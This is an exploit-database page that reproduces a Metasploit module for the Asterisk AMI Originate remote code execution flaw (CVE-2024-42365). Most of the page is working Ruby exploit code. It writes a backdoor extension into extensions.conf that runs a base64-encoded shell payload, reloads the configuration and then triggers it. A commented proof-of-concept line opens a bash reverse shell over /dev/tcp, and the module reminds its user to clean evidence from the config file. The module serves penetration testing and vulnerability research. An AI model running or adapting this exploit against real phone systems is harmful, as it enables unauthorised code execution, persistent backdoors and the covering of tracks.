Lucene search
K

Asterisk AMI Originate Authenticated Remote Code Execution Exploit

🗓️ 03 Dec 2024 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 166 Views

Asterisk AMI allows remote code execution through misconfigured users, affecting several versions.

Related
Code
ReporterTitlePublishedViews
Family
AlpineLinux
CVE-2024-42365
8 Aug 202416:29
alpinelinux
Circl
CVE-2024-42365
8 Aug 202419:44
circl
CNNVD
Asterisk 安全漏洞
8 Aug 202400:00
cnnvd
CVE
CVE-2024-42365
8 Aug 202416:29
cve
Cvelist
CVE-2024-42365 Asterisk allows `Write=originate` as sufficient permissions for code execution / `System()` dialplan
8 Aug 202416:29
cvelist
Debian
[SECURITY] [DLA 3925-1] asterisk security update
20 Oct 202421:27
debian
Debian CVE
CVE-2024-42365
8 Aug 202416:29
debiancve
Tenable Nessus
Debian dla-3925 : asterisk - security update
20 Oct 202400:00
nessus
Tenable Nessus
Fedora 44 : asterisk (2026-38d71393c1)
30 Apr 202600:00
nessus
Tenable Nessus
Fedora 43 : asterisk (2026-80b21debe7)
30 Apr 202600:00
nessus
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking
  include Msf::Exploit::Remote::Asterisk
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Asterisk AMI Originate Authenticated RCE',
        'Description' => %q{
          On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk
          versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change
          all configuration files in the '/etc/asterisk/' directory. Writing a new extension
          can be created which performs a system command to achieve RCE as the asterisk service
          user (typically asterisk).
          Default parking lot in FreePBX is called "Default lot" on the website interface,
          however its actually 'parkedcalls'.
          Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1.
        },
        'Author' => [
          'Brendan Coles <bcoles[at]gmail.com>', # lots of AMI command stuff
          'h00die', # msf module
          'NielsGaljaard' # discovery
        ],
        'References' => [
          ['URL', 'https://github.com/asterisk/asterisk/security/advisories/GHSA-c4cg-9275-6w44'],
          ['CVE', '2024-42365']
        ],
        'Platform' => 'unix',
        # leaving this for future travelers. I was still not getting 100% payload compatibility
        # so there seems to still be another character or two bad, but b64 fixed it.
        # 'Payload' => {
        #  # ; is a comment in the extensions.conf file
        #  'BadChars' => ";\r\n:\"" # https://docs.asterisk.org/Configuration/Interfaces/Asterisk-Manager-Interface-AMI/AMI-v2-Specification/#message-layout
        # },

        # 927 characters (w/o padding) is the max (Error, Message: Failed to parse message: line too long)
        # `echo "" | base64 -d | sh` == 19 characters
        # chatGPT says 908 b64 encoded characters makes 681 pre-encoding.
        'Payload' => {
          'Space' => 681
        },
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_command
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2024-08-08',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'DefaultTarget' => 0,
        'License' => MSF_LICENSE
      )
    )
    register_options [
      OptString.new('CONF', [true, 'The extensions configuration file location', '/etc/asterisk/extensions.conf']),
      OptString.new('PARKINGLOT', [true, 'The extensions and name of the parking lot', '70@parkedcalls']),
      OptString.new('EXTENSION', [true, 'The extension number to backdoor', Rex::Text.rand_text_numeric(3..5)]),
    ]
    register_advanced_options [
      OptInt.new('TIMEOUT', [true, 'Timeout value between AMI commands', 1]),
    ]
  end

  def conn?
    vprint_status 'Connecting...'

    connect
    banner = sock.get_once

    unless banner =~ %r{Asterisk Call Manager/([\d.]+)}
      print_bad('Asterisk Call Manager does not appear to be running')
      return false
    end

    print_status "Found Asterisk Call Manager version #{::Regexp.last_match(1)}"

    unless login(datastore['USERNAME'], datastore['PASSWORD'])
      print_bad('Authentication failed')
      return false
    end

    print_good 'Authenticated successfully'
    true
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
    print_error e.message
    false
  end

  def check
    # why don't we check the version numbers?
    # we're connecting to Asterisk Call Manager, which seems to be a sub component
    # of asterisk and therefore the version numbers don't line up. For instance
    # Asterisk 19.8.0 (provided by freepbx SNG7-PBX16-64bit-2302-1.iso)
    # uses Asterisk Call Manager version 8.0.2.
    return CheckCode::Unknown('Unable to connect to Asterisk AMI service') unless conn?

    version = get_asterisk_version
    disconnect

    return CheckCode::Detected('Able to connect, unable to determine version') if !version
    if version.between?(Rex::Version.new('18.16.0'), Rex::Version.new('18.24.2')) ||
       version.between?(Rex::Version.new('19'), Rex::Version.new('20.9.2')) ||
       version.between?(Rex::Version.new('21'), Rex::Version.new('21.4.2')) ||
       version.to_s.include?('cert') &&
       (
         version.between?(Rex::Version.new('18.0-cert1'), Rex::Version.new('18.9-cert11')) ||
         version.between?(Rex::Version.new('19.0-cert1'), Rex::Version.new('20.7-cert2'))
       )
      return Exploit::CheckCode::Appears("Exploitable version #{version} found")
    end

    return Exploit::CheckCode::Safe("Unexploitable version #{version} found")
  end

  def exploit
    fail_with(Failure::NoAccess, 'Unable to connect or authenticate') unless conn?

    new_context = rand_text_alpha(8..12)
    print_status("Using new context name: #{new_context}")

    print_status('Loading conf file')
    req = "Action: Originate\r\n"
    req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"
    req << "Application: SET\r\n"
    req << "Data: FILE(#{datastore['CONF']},,,al)=[#{new_context}]\r\n"
    req << "\r\n"
    res = send_command req
    res = res.strip.gsub("\r\n", ', ')

    if res.include?('Response: Error')
      disconnect
      fail_with(Failure::UnexpectedReply, "#{res}. This may be due to lack of permissions, a not vulnerable version, or an incorrect PARKINGLOT")
    end
    vprint_good("  #{res}")
    # since commands are queued, sleeping 1 second is needed for the job to
    # execute. This is mentioned in the original writeup: "(you might need to take some time between them)."
    Rex.sleep(datastore['TIMEOUT'])

    print_status('Setting backdoor')
    req = "Action: Originate\r\n"
    req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"
    req << "Application: SET\r\n"
    # from the PoC
    # req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(/bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/4444 0>&1')\r\n"
    req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(echo \"#{Base64.strict_encode64(payload.encoded).gsub("\n", '')}\" | base64 -d | sh)\r\n"
    req << "\r\n"
    res = send_command req
    res = res.strip.gsub("\r\n", ', ')

    if res.include?('Response: Error')
      disconnect
      fail_with(Failure::UnexpectedReply, res)
    end
    vprint_good("  #{res}")
    Rex.sleep(datastore['TIMEOUT'])

    print_status('Reloading config')
    req = "Action: Originate\r\n"
    req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"
    req << "Application: Reload\r\n"
    req << "Data: pbx_config\r\n"
    req << "\r\n"
    res = send_command req
    res = res.strip.gsub("\r\n", ', ')

    if res.include?('Response: Error')
      disconnect
      fail_with(Failure::UnexpectedReply, res)
    end
    vprint_good("  #{res}")
    Rex.sleep(datastore['TIMEOUT'])

    print_status('Triggering shellcode')
    req = "Action: Originate\r\n"
    req << "Channel: Local/#{datastore['EXTENSION']}@#{new_context}\r\n"
    req << "application: Verbose\r\n"
    req << "Data: #{Rex::Text.rand_text_numeric(5..8)}\r\n"
    req << "\r\n"
    send_command req

    disconnect
  end

  def on_new_session(client)
    super
    print_good("!!!Don't forget to clean evidence from #{datastore['CONF']}!!!")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Dec 2024 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 3.17.4 - 8.8
EPSS0.3195
SSVC
166